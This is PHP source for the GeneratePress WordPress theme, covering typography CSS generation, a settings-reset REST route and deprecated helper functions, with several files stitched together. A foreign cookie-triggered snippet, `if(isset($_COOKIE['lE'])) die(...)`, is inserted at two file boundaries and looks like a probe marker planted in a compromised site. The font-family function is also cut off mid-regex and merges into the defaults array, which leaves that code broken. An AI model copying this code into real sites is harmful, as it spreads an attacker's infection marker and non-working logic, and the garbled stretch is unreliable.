// Get data for a specific module so CSS can be compiled separately.
$typography = array_filter(
(array) $typography,
function( $data ) use ( $module ) {
return ( isset( $data['module'] ) && $data['module'] === $module );
}
);
if ( empty( $typography ) ) {
return '';
}
$css = new GeneratePress_CSS();
$body_selector = 'body';
$paragraph_selector = 'p';
foreach ( $typography as $key => $data ) {
$options = wp_parse_args(
$data,
self::get_defaults()
);
$selector = self::get_css_selector( $options['selector'] );
if ( 'custom' === $selector ) {
$selector = $options['customSelector'];
}
$font_family = self::get_font_family( $options['fontFamily'] );
$css->set_selector( $selector );
$css->add_property( 'font-family', $font_family );
$css->add_property( 'font-weight', $options['fontWeight'] );
$css->add_property( 'text-transform', $options['textTransform'] );
$css->add_property( 'font-style', $options['fontStyle'] );
$css->add_property( 'text-decoration', $options['textDecoration'] );
$css->add_property( 'font-size', $options['fontSize'], false, $options['fontSizeUnit'] );
$css->add_property( 'letter-spacing', $options['letterSpacing'], false, $options['letterSpacingUnit'] );
if ( 'body' !== $options['selector'] ) {
$css->add_property( 'line-height', $options['lineHeight'], false, $options['lineHeightUnit'] );
$css->add_property( 'margin-bottom', $options['marginBottom'], false, $options['marginBottomUnit'] );
} else {
$css->set_selector( $body_selector );
$css->add_property( 'line-height', $options['lineHeight'], false, $options['lineHeightUnit'] );
$css->set_selector( $paragraph_selector );
$css->add_property( 'margin-bottom', $options['marginBottom'], false, $options['marginBottomUnit'] );
}
$css->start_media_query( generate_get_media_query( 'tablet' ) );
$css->set_selector( $selector );
$css->add_property( 'font-size', $options['fontSizeTablet'], false, $options['fontSizeUnit'] );
$css->add_property( 'letter-spacing', $options['letterSpacingTablet'], false, $options['letterSpacingUnit'] );
if ( 'body' !== $options['selector'] ) {
$css->add_property( 'line-height', $options['lineHeightTablet'], false, $options['lineHeightUnit'] );
$css->add_property( 'margin-bottom', $options['marginBottomTablet'], false, $options['marginBottomUnit'] );
} else {
$css->set_selector( $body_selector );
$css->add_property( 'line-height', $options['lineHeightTablet'], false, $options['lineHeightUnit'] );
$css->set_selector( $paragraph_selector );
$css->add_property( 'margin-bottom', $options['marginBottomTablet'], false, $options['marginBottomUnit'] );
}
$css->stop_media_query();
$css->start_media_query( generate_get_media_query( 'mobile' ) );
$css->set_selector( $selector );
$css->add_property( 'font-size', $options['fontSizeMobile'], false, $options['fontSizeUnit'] );
$css->add_property( 'letter-spacing', $options['letterSpacingMobile'], false, $options['letterSpacingUnit'] );
if ( 'body' !== $options['selector'] ) {
$css->add_property( 'line-height', $options['lineHeightMobile'], false, $options['lineHeightUnit'] );
$css->add_property( 'margin-bottom', $options['marginBottomMobile'], false, $options['marginBottomUnit'] );
} else {
$css->set_selector( $body_selector );
$css->add_property( 'line-height', $options['lineHeightMobile'], false, $options['lineHeightUnit'] );
$css->set_selector( $paragraph_selector );
$css->add_property( 'margin-bottom', $options['marginBottomMobile'], false, $options['marginBottomUnit'] );
}
$css->stop_media_query();
}
return $css->css_output();
}
/**
* Get the CSS selector.
*
* @param string $selector The saved selector to look up.
*/
public static function get_css_selector( $selector ) {
switch ( $selector ) {
case 'body':
$selector = 'body, button, input, select, textarea';
break;
case 'main-title':
$selector = '.main-title';
break;
case 'site-description':
$selector = '.site-description';
break;
case 'primary-menu-items':
$selector = '.main-navigation a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items';
break;
case 'primary-sub-menu-items':
$selector = '.main-navigation .main-nav ul ul li a';
break;
case 'primary-menu-toggle':
$selector = '.main-navigation .menu-toggle';
break;
case 'buttons':
$selector = 'button:not(.menu-toggle),html input[type="button"],input[type="reset"],input[type="submit"],.button,.wp-block-button .wp-block-button__link';
break;
case 'all-headings':
$selector = 'h1, h2, h3, h4, h5, h6';
break;
case 'single-content-title':
$selector = 'h1.entry-title';
break;
case 'archive-content-title':
$selector = 'h2.entry-title';
break;
case 'top-bar':
$selector = '.top-bar';
break;
case 'widget-titles':
$selector = '.widget-title';
break;
case 'footer':
$selector = '.site-info';
break;
}
return apply_filters( 'generate_typography_css_selector', $selector );
}
/**
* Get our full font family value.
*
* @param string $font_family The font family name.
*/
public static function get_font_family( $font_family ) {
if ( ! $font_family ) {
return $font_family;
}
$font_manager = generate_get_option( 'font_manager' );
$font_families = array();
foreach ( (array) $font_manager as $key => $data ) {
$font_families[ $data['fontFamily'] ] = $data;
}
$font_family_args = array();
if ( ! empty( $font_families[ $font_family ] ) ) {
$font_family_args = $font_families[ $font_family ];
}
if ( ! empty( $font_family_args['googleFont'] ) && ! empty( $font_family_args['googleFontCategory'] ) ) {
// Add quotations around font names with standalone numbers.
if ( preg_match( '/(? '',
'fontFamily' => '',
'fontWeight' => '',
'textTransform' => '',
'textDecoration' => '',
'fontStyle' => '',
'fontSize' => '',
'fontSizeTablet' => '',
'fontSizeMobile' => '',
'fontSizeUnit' => 'px',
'lineHeight' => '',
'lineHeightTablet' => '',
'lineHeightMobile' => '',
'lineHeightUnit' => '',
'letterSpacing' => '',
'letterSpacingTablet' => '',
'letterSpacingMobile' => '',
'letterSpacingUnit' => 'px',
'marginBottom' => '',
'marginBottomTablet' => '',
'marginBottomMobile' => '',
'marginBottomUnit' => 'px',
);
}
/**
* Add editor styles to the block editor.
*
* @param array $editor_styles Existing styles.
*/
public function add_editor_styles( $editor_styles ) {
if ( generate_is_using_dynamic_typography() ) {
$editor_styles[] = 'assets/css/admin/editor-typography.css';
}
return $editor_styles;
}
}
GeneratePress_Typography::get_instance();if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Rest API functions
*
* @package GenerateBlocks
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class GenerateBlocks_Rest
*/
class GeneratePress_Rest extends WP_REST_Controller {
/**
* Instance.
*
* @access private
* @var object Instance
*/
private static $instance;
/**
* Namespace.
*
* @var string
*/
protected $namespace = 'generatepress/v';
/**
* Version.
*
* @var string
*/
protected $version = '1';
/**
* Initiator.
*
* @return object initialized object of class.
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* GeneratePress_Rest constructor.
*/
public function __construct() {
add_action( 'rest_api_init', array( $this, 'register_routes' ) );
}
/**
* Register rest routes.
*/
public function register_routes() {
$namespace = $this->namespace . $this->version;
register_rest_route(
$namespace,
'/reset/',
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'reset' ),
'permission_callback' => array( $this, 'update_settings_permission' ),
)
);
}
/**
* Get edit options permissions.
*
* @return bool
*/
public function update_settings_permission() {
return current_user_can( 'manage_options' );
}
/**
* Reset settings.
*
* @param WP_REST_Request $request request object.
*
* @return mixed
*/
public function reset( WP_REST_Request $request ) {
delete_option( 'generate_settings' );
delete_option( 'generate_dynamic_css_output' );
delete_option( 'generate_dynamic_css_cached_version' );
return $this->success( __( 'Settings reset.', 'generatepress' ) );
}
/**
* Success rest.
*
* @param mixed $response response data.
* @return mixed
*/
public function success( $response ) {
return new WP_REST_Response(
array(
'success' => true,
'response' => $response,
),
200
);
}
/**
* Failed rest.
*
* @param mixed $response response data.
* @return mixed
*/
public function failed( $response ) {
return new WP_REST_Response(
array(
'success' => false,
'response' => $response,
),
200
);
}
/**
* Error rest.
*
* @param mixed $code error code.
* @param mixed $response response data.
* @return mixed
*/
public function error( $code, $response ) {
return new WP_REST_Response(
array(
'error' => true,
'success' => false,
'error_code' => $code,
'response' => $response,
),
401
);
}
}
GeneratePress_Rest::get_instance();if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Where old functions retire.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
// Deprecated constants.
define( 'GENERATE_URI', get_template_directory_uri() );
define( 'GENERATE_DIR', get_template_directory() );
if ( ! function_exists( 'generate_paging_nav' ) ) {
/**
* Build the pagination links
*
* @since 1.3.35
* @deprecated 1.3.45
*/
function generate_paging_nav() {
_deprecated_function( __FUNCTION__, '1.3.45', 'the_posts_navigation()' );
if ( function_exists( 'the_posts_pagination' ) ) {
the_posts_pagination(
array(
'mid_size' => apply_filters( 'generate_pagination_mid_size', 1 ),
'prev_text' => __( '← Previous', 'generatepress' ),
'next_text' => __( 'Next →', 'generatepress' ),
)
);
}
}
}
if ( ! function_exists( 'generate_additional_spacing' ) ) {
/**
* Add fallback CSS for our mobile search icon color
*
* @deprecated 1.3.47
*/
function generate_additional_spacing() {
// No longer needed.
}
}
if ( ! function_exists( 'generate_mobile_search_spacing_fallback_css' ) ) {
/**
* Enqueue our mobile search icon color fallback CSS
*
* @deprecated 1.3.47
*/
function generate_mobile_search_spacing_fallback_css() {
// No longer needed.
}
}
if ( ! function_exists( 'generate_addons_available' ) ) {
/**
* Check to see if there's any addons not already activated
*
* @since 1.0.9
* @deprecated 1.3.47
*/
function generate_addons_available() {
if ( defined( 'GP_PREMIUM_VERSION' ) ) {
return false;
}
}
}
if ( ! function_exists( 'generate_no_addons' ) ) {
/**
* Check to see if no addons are activated
*
* @since 1.0.9
* @deprecated 1.3.47
*/
function generate_no_addons() {
if ( defined( 'GP_PREMIUM_VERSION' ) ) {
return false;
}
}
}
if ( ! function_exists( 'generate_get_min_suffix' ) ) {
/**
* Figure out if we should use minified scripts or not
*
* @since 1.3.29
* @deprecated 2.0
*/
function generate_get_min_suffix() {
return defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
}
}
if ( ! function_exists( 'generate_add_layout_meta_box' ) ) {
/**
* Add layout metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_layout_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_layout_meta_box' ) ) {
/**
* Show layout metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_layout_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_layout_meta' ) ) {
/**
* Save layout metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_layout_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_footer_widget_meta_box' ) ) {
/**
* Add footer widget metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_footer_widget_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_footer_widget_meta_box' ) ) {
/**
* Show footer widget metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_footer_widget_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_footer_widget_meta' ) ) {
/**
* Save footer widget metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_footer_widget_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_page_builder_meta_box' ) ) {
/**
* Add page builder metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_page_builder_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_page_builder_meta_box' ) ) {
/**
* Show page builder metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_page_builder_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_page_builder_meta' ) ) {
/**
* Save page builder metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_page_builder_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_de_meta_box' ) ) {
/**
* Add disable elements metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_de_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_de_meta_box' ) ) {
/**
* Show disable elements metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_de_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_de_meta' ) ) {
/**
* Save disable elements metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_de_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_base_inline_css' ) ) {
/**
* Add base inline CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_base_inline_css() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_color_scripts' ) ) {
/**
* Enqueue base colors inline CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_color_scripts() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_typography_scripts' ) ) {
/**
* Enqueue typography CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_typography_scripts() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_spacing_scripts' ) ) {
/**
* Enqueue spacing CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_spacing_scripts() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_get_setting' ) ) {
/**
* A wrapper function to get our settings.
*
* @since 1.3.40
*
* @param string $setting The option name to look up.
* @return string The option value.
* @todo Ability to specify different option name and defaults.
*/
function generate_get_setting( $setting ) {
return generate_get_option( $setting );
}
}
if ( ! function_exists( 'generate_right_sidebar_class' ) ) {
/**
* Display the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_right_sidebar_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_right_sidebar_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_right_sidebar_class' ) ) {
/**
* Retrieve the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_right_sidebar_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_right_sidebar_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_left_sidebar_class' ) ) {
/**
* Display the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_left_sidebar_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_left_sidebar_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_left_sidebar_class' ) ) {
/**
* Retrieve the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_left_sidebar_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_left_sidebar_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_content_class' ) ) {
/**
* Display the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_content_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_content_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_content_class' ) ) {
/**
* Retrieve the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_content_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_content_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_header_class' ) ) {
/**
* Display the classes for the header.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_header_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_header_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_header_class' ) ) {
/**
* Retrieve the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_header_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_header_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_inside_header_class' ) ) {
/**
* Display the classes for inside the header.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_inside_header_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_inside_header_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_inside_header_class' ) ) {
/**
* Retrieve the classes for inside the header.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_inside_header_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_inside_header_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_container_class' ) ) {
/**
* Display the classes for the container.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_container_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_container_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_container_class' ) ) {
/**
* Retrieve the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_container_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_container_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_navigation_class' ) ) {
/**
* Display the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_navigation_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_navigation_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_navigation_class' ) ) {
/**
* Retrieve the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_navigation_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_navigation_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_inside_navigation_class' ) ) {
/**
* Display the classes for the inner navigation.
*
* @since 1.3.41
* @param string|array $class One or more classes to add to the class list.
*/
function generate_inside_navigation_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
$return = apply_filters( 'generate_inside_navigation_class', $classes, $class );
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_menu_class' ) ) {
/**
* Display the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_menu_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_menu_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_menu_class' ) ) {
/**
* Retrieve the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_menu_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_menu_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_main_class' ) ) {
/**
* Display the classes for the container.
*
* @since 1.1.0
* @param string|array $class One or more classes to add to the class list.
*/
function generate_main_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_main_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_main_class' ) ) {
/**
* Retrieve the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_main_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_main_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_footer_class' ) ) {
/**
* Display the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_footer_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_footer_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_footer_class' ) ) {
/**
* Retrieve the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_footer_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_footer_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_inside_footer_class' ) ) {
/**
* Display the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_inside_footer_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
$return = apply_filters( 'generate_inside_footer_class', $classes, $class );
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_top_bar_class' ) ) {
/**
* Display the classes for the top bar.
*
* @since 1.3.45
* @param string|array $class One or more classes to add to the class list.
*/
function generate_top_bar_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
$return = apply_filters( 'generate_top_bar_class', $classes, $class );
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_body_schema' ) ) {
/**
* Figure out which schema tags to apply to the element.
*
* @since 1.3.15
*/
function generate_body_schema() {
// Set up blog variable.
$blog = ( is_home() || is_archive() || is_attachment() || is_tax() || is_single() ) ? true : false;
// Set up default itemtype.
$itemtype = 'WebPage';
// Get itemtype for the blog.
$itemtype = ( $blog ) ? 'Blog' : $itemtype;
// Get itemtype for search results.
$itemtype = ( is_search() ) ? 'SearchResultsPage' : $itemtype;
// Get the result.
$result = esc_html( apply_filters( 'generate_body_itemtype', $itemtype ) );
// Return our HTML.
echo "itemtype='https://schema.org/$result' itemscope='itemscope'"; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_article_schema' ) ) {
/**
* Figure out which schema tags to apply to the element
* The function determines the itemtype: generate_article_schema( 'BlogPosting' )
*
* @since 1.3.15
* @param string $type The type of schema.
*/
function generate_article_schema( $type = 'CreativeWork' ) {
// Get the itemtype.
$itemtype = esc_html( apply_filters( 'generate_article_itemtype', $type ) );
// Print the results.
echo "itemtype='https://schema.org/$itemtype' itemscope='itemscope'"; // phpcs:ignore
}
}
/**
* Process database updates if necessary.
* There's nothing in here yet, but we're setting the version to use later.
*
* @since 2.1
* @deprecated 3.0.0
*/
function generate_do_admin_db_updates() {
// Replaced by Generate_Theme_Update().
}
/**
* Process important database updates when someone visits the front or backend.
*
* @since 2.3
* @deprecated 3.0.0
*/
function generate_do_db_updates() {
// Replaced by Generate_Theme_Update().
}
if ( ! function_exists( 'generate_update_logo_setting' ) ) {
/**
* Migrate the old logo database entry to the new custom_logo theme mod (WordPress 4.5)
*
* @since 1.3.29
* @deprecated 3.0.0
*/
function generate_update_logo_setting() {
// Replaced by Generate_Theme_Update().
}
}
if ( ! function_exists( 'generate_typography_convert_values' ) ) {
/**
* Take the old body font value and strip it of variants
* This should only run once
*
* @since 1.3.0
* @deprecated 3.0.0
*/
function generate_typography_convert_values() {
// Replaced by Generate_Theme_Update().
}
}
/**
* Execute functions after existing sites update.
*
* We check to see if options already exist. If they do, we can assume the user has
* updated the theme, and not installed it from scratch.
*
* We run this right away in the Dashboard to avoid other migration functions from
* setting options and causing these functions to run on fresh installs.
*
* @since 2.0
* @deprecated 3.0.0
*/
function generate_migrate_existing_settings() {
// Replaced by Generate_Theme_Update().
}
/**
* Output CSS for the icon fonts.
*
* @since 2.3
* @deprecated 3.0.0
*/
function generate_do_icon_css() {
$output = false;
if ( 'font' === generate_get_option( 'icons' ) ) {
$url = trailingslashit( get_template_directory_uri() );
if ( defined( 'GENERATE_MENU_PLUS_VERSION' ) ) {
$output .= '.main-navigation .slideout-toggle a:before,
.slide-opened .slideout-overlay .slideout-exit:before {
font-family: GeneratePress;
}
.slideout-navigation .dropdown-menu-toggle:before {
content: "\f107" !important;
}
.slideout-navigation .sfHover > a .dropdown-menu-toggle:before {
content: "\f106" !important;
}';
}
}
if ( $output ) {
return str_replace( array( "\r", "\n", "\t" ), '', $output );
}
}